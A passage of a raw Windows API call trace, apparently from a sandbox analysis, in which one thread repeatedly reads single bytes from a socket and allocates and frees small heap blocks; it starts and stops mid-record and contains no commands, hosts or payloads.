[0079.443] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.443] GetLastError () returned 0x0 [0079.443] GetCurrentThreadId () returned 0x9b0 [0079.443] GetLastError () returned 0x0 [0079.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81dd0 | out: hHeap=0x2ad0000) returned 1 [0079.443] GetLastError () returned 0x0 [0079.443] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.443] GetLastError () returned 0x0 [0079.443] GetCurrentThreadId () returned 0x9b0 [0079.443] GetLastError () returned 0x0 [0079.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fc8 | out: hHeap=0x2ad0000) returned 1 [0079.443] GetLastError () returned 0x0 [0079.443] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.443] GetLastError () returned 0x0 [0079.443] GetCurrentThreadId () returned 0x9b0 [0079.444] GetLastError () returned 0x0 [0079.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d10 | out: hHeap=0x2ad0000) returned 1 [0079.444] GetCurrentThreadId () returned 0x9b0 [0079.444] GetLastError () returned 0x0 [0079.444] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.444] GetLastError () returned 0x0 [0079.444] GetCurrentThreadId () returned 0x9b0 [0079.444] GetLastError () returned 0x0 [0079.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d70 | out: hHeap=0x2ad0000) returned 1 [0079.444] GetLastError () returned 0x0 [0079.444] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.444] GetLastError () returned 0x0 [0079.444] GetCurrentThreadId () returned 0x9b0 [0079.444] GetLastError () returned 0x0 [0079.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0079.444] GetLastError () returned 0x0 [0079.445] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.445] GetLastError () returned 0x0 [0079.445] GetCurrentThreadId () returned 0x9b0 [0079.445] GetLastError () returned 0x0 [0079.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d10 | out: hHeap=0x2ad0000) returned 1 [0079.445] GetLastError () returned 0x0 [0079.445] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.445] GetLastError () returned 0x0 [0079.445] GetCurrentThreadId () returned 0x9b0 [0079.445] GetLastError () returned 0x0 [0079.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0079.445] GetLastError () returned 0x0 [0079.445] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.445] GetLastError () returned 0x0 [0079.445] GetCurrentThreadId () returned 0x9b0 [0079.445] GetLastError () returned 0x0 [0079.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ef0 | out: hHeap=0x2ad0000) returned 1 [0079.446] GetLastError () returned 0x0 [0079.446] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.446] GetLastError () returned 0x0 [0079.446] GetCurrentThreadId () returned 0x9b0 [0079.446] GetLastError () returned 0x0 [0079.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ec0 | out: hHeap=0x2ad0000) returned 1 [0079.446] GetCurrentThreadId () returned 0x9b0 [0079.446] GetLastError () returned 0x0 [0079.446] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.446] GetLastError () returned 0x0 [0079.446] GetCurrentThreadId () returned 0x9b0 [0079.446] GetLastError () returned 0x0 [0079.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e60 | out: hHeap=0x2ad0000) returned 1 [0079.446] GetLastError () returned 0x0 [0079.446] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.447] GetLastError () returned 0x0 [0079.447] GetCurrentThreadId () returned 0x9b0 [0079.447] GetLastError () returned 0x0 [0079.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e60 | out: hHeap=0x2ad0000) returned 1 [0079.447] GetLastError () returned 0x0 [0079.447] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.447] GetLastError () returned 0x0 [0079.447] GetCurrentThreadId () returned 0x9b0 [0079.447] GetLastError () returned 0x0 [0079.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d10 | out: hHeap=0x2ad0000) returned 1 [0079.447] GetLastError () returned 0x0 [0079.447] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.447] GetLastError () returned 0x0 [0079.447] GetCurrentThreadId () returned 0x9b0 [0079.447] GetLastError () returned 0x0 [0079.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0079.448] GetLastError () returned 0x0 [0079.448] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.448] GetLastError () returned 0x0 [0079.448] GetCurrentThreadId () returned 0x9b0 [0079.448] GetLastError () returned 0x0 [0079.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e30 | out: hHeap=0x2ad0000) returned 1 [0079.448] GetLastError () returned 0x0 [0079.448] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.448] GetLastError () returned 0x0 [0079.448] GetCurrentThreadId () returned 0x9b0 [0079.448] GetLastError () returned 0x0 [0079.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e60 | out: hHeap=0x2ad0000) returned 1 [0079.448] GetCurrentThreadId () returned 0x9b0 [0079.448] GetLastError () returned 0x0 [0079.449] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.449] GetLastError () returned 0x0 [0079.449] GetCurrentThreadId () returned 0x9b0 [0079.449] GetLastError () returned 0x0 [0079.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e30 | out: hHeap=0x2ad0000) returned 1 [0079.449] GetLastError () returned 0x0 [0079.449] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.449] GetLastError () returned 0x0 [0079.449] GetCurrentThreadId () returned 0x9b0 [0079.449] GetLastError () returned 0x0 [0079.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81cf8 | out: hHeap=0x2ad0000) returned 1 [0079.449] GetLastError () returned 0x0 [0079.449] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.449] GetLastError () returned 0x0 [0079.449] GetCurrentThreadId () returned 0x9b0 [0079.449] GetLastError () returned 0x0 [0079.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fb0 | out: hHeap=0x2ad0000) returned 1 [0079.450] GetLastError () returned 0x0 [0079.450] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.450] GetLastError () returned 0x0 [0079.450] GetCurrentThreadId () returned 0x9b0 [0079.450] GetLastError () returned 0x0 [0079.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e18 | out: hHeap=0x2ad0000) returned 1 [0079.450] GetLastError () returned 0x0 [0079.450] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.450] GetLastError () returned 0x0 [0079.450] GetCurrentThreadId () returned 0x9b0 [0079.450] GetLastError () returned 0x0 [0079.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81da0 | out: hHeap=0x2ad0000) returned 1 [0079.450] GetLastError () returned 0x0 [0079.450] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.451] GetLastError () returned 0x0 [0079.451] GetCurrentThreadId () returned 0x9b0 [0079.451] GetLastError () returned 0x0 [0079.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0079.451] GetCurrentThreadId () returned 0x9b0 [0079.451] GetLastError () returned 0x0 [0079.451] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.451] GetLastError () returned 0x0 [0079.451] GetCurrentThreadId () returned 0x9b0 [0079.451] GetLastError () returned 0x0 [0079.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ec0 | out: hHeap=0x2ad0000) returned 1 [0079.451] GetLastError () returned 0x0 [0079.451] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.451] GetLastError () returned 0x0 [0079.451] GetCurrentThreadId () returned 0x9b0 [0079.451] GetLastError () returned 0x0 [0079.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ed8 | out: hHeap=0x2ad0000) returned 1 [0079.452] GetLastError () returned 0x0 [0079.452] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.452] GetLastError () returned 0x0 [0079.452] GetCurrentThreadId () returned 0x9b0 [0079.452] GetLastError () returned 0x0 [0079.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0079.452] GetLastError () returned 0x0 [0079.452] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.452] GetLastError () returned 0x0 [0079.452] GetCurrentThreadId () returned 0x9b0 [0079.452] GetLastError () returned 0x0 [0079.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0079.452] GetLastError () returned 0x0 [0079.452] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.453] GetLastError () returned 0x0 [0079.453] GetCurrentThreadId () returned 0x9b0 [0079.453] GetLastError () returned 0x0 [0079.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e78 | out: hHeap=0x2ad0000) returned 1 [0079.453] GetLastError () returned 0x0 [0079.453] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.453] GetLastError () returned 0x0 [0079.453] GetCurrentThreadId () returned 0x9b0 [0079.453] GetLastError () returned 0x0 [0079.453] GetCurrentThreadId () returned 0x9b0 [0079.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81db8 [0079.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81db8 | out: hHeap=0x2ad0000) returned 1 [0079.453] GetLastError () returned 0x0 [0079.453] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.453] GetLastError () returned 0x0 [0079.453] GetCurrentThreadId () returned 0x9b0 [0079.453] GetLastError () returned 0x0 [0079.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fb0 | out: hHeap=0x2ad0000) returned 1 [0079.454] GetLastError () returned 0x0 [0079.454] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.454] GetLastError () returned 0x0 [0079.454] GetCurrentThreadId () returned 0x9b0 [0079.454] GetLastError () returned 0x0 [0079.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e90 | out: hHeap=0x2ad0000) returned 1 [0079.454] GetLastError () returned 0x0 [0079.454] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.454] GetLastError () returned 0x0 [0079.454] GetCurrentThreadId () returned 0x9b0 [0079.455] GetLastError () returned 0x0 [0079.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d58 | out: hHeap=0x2ad0000) returned 1 [0079.455] GetLastError () returned 0x0 [0079.455] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.455] GetLastError () returned 0x0 [0079.455] GetCurrentThreadId () returned 0x9b0 [0079.455] GetLastError () returned 0x0 [0079.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81cf8 | out: hHeap=0x2ad0000) returned 1 [0079.455] GetLastError () returned 0x0 [0079.455] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.455] GetLastError () returned 0x0 [0079.455] GetCurrentThreadId () returned 0x9b0 [0079.455] GetLastError () returned 0x0 [0079.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e30 | out: hHeap=0x2ad0000) returned 1 [0079.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e60 [0079.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e60 | out: hHeap=0x2ad0000) returned 1 [0079.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8b80 | out: hHeap=0x2ad0000) returned 1 [0079.456] GetCurrentThreadId () returned 0x9b0 [0079.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81dd0 [0079.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8d18 [0079.456] GetLastError () returned 0x0 [0079.456] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.456] GetLastError () returned 0x0 [0079.456] GetCurrentThreadId () returned 0x9b0 [0079.456] GetLastError () returned 0x0 [0079.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d40 | out: hHeap=0x2ad0000) returned 1 [0079.456] GetLastError () returned 0x0 [0079.456] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.456] GetLastError () returned 0x0 [0079.457] GetCurrentThreadId () returned 0x9b0 [0079.457] GetLastError () returned 0x0 [0079.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e30 | out: hHeap=0x2ad0000) returned 1 [0079.457] GetLastError () returned 0x0 [0079.457] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.457] GetLastError () returned 0x0 [0079.457] GetCurrentThreadId () returned 0x9b0 [0079.457] GetLastError () returned 0x0 [0079.457] GetCurrentThreadId () returned 0x9b0 [0079.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81da0 [0079.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81da0 | out: hHeap=0x2ad0000) returned 1 [0079.457] GetLastError () returned 0x0 [0079.457] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.457] GetLastError () returned 0x0 [0079.457] GetCurrentThreadId () returned 0x9b0 [0079.457] GetLastError () returned 0x0 [0079.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d88 | out: hHeap=0x2ad0000) returned 1 [0079.458] GetLastError () returned 0x0 [0079.458] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.458] GetLastError () returned 0x0 [0079.458] GetCurrentThreadId () returned 0x9b0 [0079.458] GetLastError () returned 0x0 [0079.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0079.458] GetLastError () returned 0x0 [0079.458] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.458] GetLastError () returned 0x0 [0079.458] GetCurrentThreadId () returned 0x9b0 [0079.458] GetLastError () returned 0x0 [0079.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0079.458] GetLastError () returned 0x0 [0079.458] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.458] GetLastError () returned 0x0 [0079.459] GetCurrentThreadId () returned 0x9b0 [0079.459] GetLastError () returned 0x0 [0079.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0079.459] GetLastError () returned 0x0 [0079.459] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.459] GetLastError () returned 0x0 [0079.459] GetCurrentThreadId () returned 0x9b0 [0079.459] GetLastError () returned 0x0 [0079.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81cf8 | out: hHeap=0x2ad0000) returned 1 [0079.459] GetLastError () returned 0x0 [0079.459] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.459] GetLastError () returned 0x0 [0079.459] GetCurrentThreadId () returned 0x9b0 [0079.459] GetLastError () returned 0x0 [0079.459] GetCurrentThreadId () returned 0x9b0 [0079.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81fb0 [0079.460] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fb0 | out: hHeap=0x2ad0000) returned 1 [0079.460] GetLastError () returned 0x0 [0079.460] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.460] GetLastError () returned 0x0 [0079.460] GetCurrentThreadId () returned 0x9b0 [0079.460] GetLastError () returned 0x0 [0079.460] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0079.460] GetLastError () returned 0x0 [0079.460] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.460] GetLastError () returned 0x0 [0079.460] GetCurrentThreadId () returned 0x9b0 [0079.460] GetLastError () returned 0x0 [0079.460] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e60 | out: hHeap=0x2ad0000) returned 1 [0079.460] GetLastError () returned 0x0 [0079.460] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.460] GetLastError () returned 0x0 [0079.461] GetCurrentThreadId () returned 0x9b0 [0079.461] GetLastError () returned 0x0 [0079.461] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fe0 | out: hHeap=0x2ad0000) returned 1 [0079.461] GetLastError () returned 0x0 [0079.461] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.461] GetLastError () returned 0x0 [0079.461] GetCurrentThreadId () returned 0x9b0 [0079.461] GetLastError () returned 0x0 [0079.461] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0079.461] GetLastError () returned 0x0 [0079.461] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.461] GetLastError () returned 0x0 [0079.461] GetCurrentThreadId () returned 0x9b0 [0079.461] GetLastError () returned 0x0 [0079.461] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fb0 | out: hHeap=0x2ad0000) returned 1 [0079.461] GetCurrentThreadId () returned 0x9b0 [0079.462] GetLastError () returned 0x0 [0079.462] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.462] GetLastError () returned 0x0 [0079.462] GetCurrentThreadId () returned 0x9b0 [0079.462] GetLastError () returned 0x0 [0079.462] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d70 | out: hHeap=0x2ad0000) returned 1 [0079.462] GetLastError () returned 0x0 [0079.462] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.462] GetLastError () returned 0x0 [0079.462] GetCurrentThreadId () returned 0x9b0 [0079.462] GetLastError () returned 0x0 [0079.462] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fb0 | out: hHeap=0x2ad0000) returned 1 [0079.462] GetLastError () returned 0x0 [0079.462] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.462] GetCurrentThreadId () returned 0x9b0 [0079.463] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.463] GetCurrentThreadId () returned 0x9b0 [0079.463] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.463] GetCurrentThreadId () returned 0x9b0 [0079.463] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.463] GetCurrentThreadId () returned 0x9b0 [0079.463] GetCurrentThreadId () returned 0x9b0 [0079.463] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.463] GetCurrentThreadId () returned 0x9b0 [0079.463] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.463] GetCurrentThreadId () returned 0x9b0 [0079.464] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.464] GetCurrentThreadId () returned 0x9b0 [0079.464] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.464] GetCurrentThreadId () returned 0x9b0 [0079.464] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.464] GetCurrentThreadId () returned 0x9b0 [0079.464] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.464] GetCurrentThreadId () returned 0x9b0 [0079.464] GetCurrentThreadId () returned 0x9b0 [0079.464] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.464] GetCurrentThreadId () returned 0x9b0 [0079.464] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.465] GetCurrentThreadId () returned 0x9b0 [0079.465] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.465] GetCurrentThreadId () returned 0x9b0 [0079.465] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.465] GetCurrentThreadId () returned 0x9b0 [0079.465] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.465] GetCurrentThreadId () returned 0x9b0 [0079.465] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.465] GetCurrentThreadId () returned 0x9b0 [0079.465] GetCurrentThreadId () returned 0x9b0 [0079.465] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.466] GetCurrentThreadId () returned 0x9b0 [0079.466] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.466] GetCurrentThreadId () returned 0x9b0 [0079.466] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.466] GetCurrentThreadId () returned 0x9b0 [0079.466] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.466] GetCurrentThreadId () returned 0x9b0 [0079.466] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.466] GetCurrentThreadId () returned 0x9b0 [0079.466] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.466] GetCurrentThreadId () returned 0x9b0 [0079.467] GetCurrentThreadId () returned 0x9b0 [0079.467] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.467] GetCurrentThreadId () returned 0x9b0 [0079.467] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.467] GetCurrentThreadId () returned 0x9b0 [0079.467] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.467] GetCurrentThreadId () returned 0x9b0 [0079.467] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.467] GetCurrentThreadId () returned 0x9b0 [0079.467] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.467] GetCurrentThreadId () returned 0x9b0 [0079.468] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.468] GetCurrentThreadId () returned 0x9b0 [0079.468] GetCurrentThreadId () returned 0x9b0 [0079.468] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.468] GetCurrentThreadId () returned 0x9b0 [0079.468] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.468] GetCurrentThreadId () returned 0x9b0 [0079.468] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.468] GetCurrentThreadId () returned 0x9b0 [0079.468] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.468] GetCurrentThreadId () returned 0x9b0 [0079.468] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.469] GetCurrentThreadId () returned 0x9b0 [0079.469] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.469] GetCurrentThreadId () returned 0x9b0 [0079.469] GetCurrentThreadId () returned 0x9b0 [0079.469] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.469] GetCurrentThreadId () returned 0x9b0 [0079.469] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.517] GetCurrentThreadId () returned 0x9b0 [0079.517] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.517] GetCurrentThreadId () returned 0x9b0 [0079.517] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.517] GetCurrentThreadId () returned 0x9b0 [0079.518] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.518] GetCurrentThreadId () returned 0x9b0 [0079.518] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.518] GetCurrentThreadId () returned 0x9b0 [0079.518] GetCurrentThreadId () returned 0x9b0 [0079.518] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.518] GetCurrentThreadId () returned 0x9b0 [0079.518] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.518] GetCurrentThreadId () returned 0x9b0 [0079.518] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.518] GetCurrentThreadId () returned 0x9b0 [0079.519] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.519] GetCurrentThreadId () returned 0x9b0 [0079.519] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.519] GetCurrentThreadId () returned 0x9b0 [0079.519] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.519] GetCurrentThreadId () returned 0x9b0 [0079.519] GetCurrentThreadId () returned 0x9b0 [0079.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e00 [0079.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e00 | out: hHeap=0x2ad0000) returned 1 [0079.519] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.519] GetCurrentThreadId () returned 0x9b0 [0079.519] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.520] GetCurrentThreadId () returned 0x9b0 [0079.520] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.520] GetCurrentThreadId () returned 0x9b0 [0079.520] recv (in: s=0x360, 